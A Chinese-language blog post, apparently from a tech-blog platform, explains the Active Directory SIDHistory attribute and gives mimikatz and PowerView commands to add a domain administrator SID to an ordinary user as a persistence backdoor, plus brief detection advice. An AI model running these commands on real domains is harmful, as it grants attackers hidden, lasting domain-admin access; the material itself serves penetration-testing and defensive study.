SIDHistory属性的利用

1. 前言

SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利

2.对某用户的SIDHistory属性进行操作

以下操作都必须得在域控的权限下进行

2.1 查询zhangsan的SIDHistory

使用mimikatz

sid::query /sam:zhangsan

在这里插入图片描述

使用powerview

Set-ExecutionPolicy Bypass -Scope Process
. .\PowerView.ps1
Get-ADUser zhangsan -Properties sidhistory

在这里插入图片描述

2.2 给zhangsan用户添加域管的sid

privilege::debug
sid::patch
sid::add /sam:zhangsan /new:administrator
sid::query /sam:zhangsan

在这里插入图片描述

2.3 删除zhangsan的SIDHistory属性

sid::clear /sam:zhangsan # 清除SID History

在这里插入图片描述
发现SIDHistory已经消失。

3.利用思路

我认为共有两种利用思路,第一种是给域内低权限用户配置SIDHistory让其拥有域控权限。第二种方式是渗透测试的途中发现某个用户的SIDHistory是高权限的sid,那么这个用户就直接具有了高权限。

3.1 权限维持

如果已经拿到域控权限,可以给域内一个普通账号配置sidhistory,这样子域内的普通账号也就具备了域控的权限,具体操作方法上面也已经写过了。

3.2 利用当前用户的sidhistory属性

通过powerview直接查询域内具有sidhistory属性的用户:

Set-ExecutionPolicy Bypass -Scope Process
. .\PowerView.ps1
Get-DomainUser | select sidhistory,cn

如下图所示,如果当前控制的用户是zhangsan,那我们就直接拥有了域控的权限(域控权限的RID)是500,也可以直接访问域控的C$:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

防御方法

1.经常检查域用户中SID为500的用户,对这些用户的行为进行跟踪。

2.完成域迁移工作后,对有相同SID History属性的用户进行检查。

3.定期检查ID为4765和4766的日志,4765为将SID History属性添加到用户的日志;4766为将SID History属性添加到用户失败的日志。

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值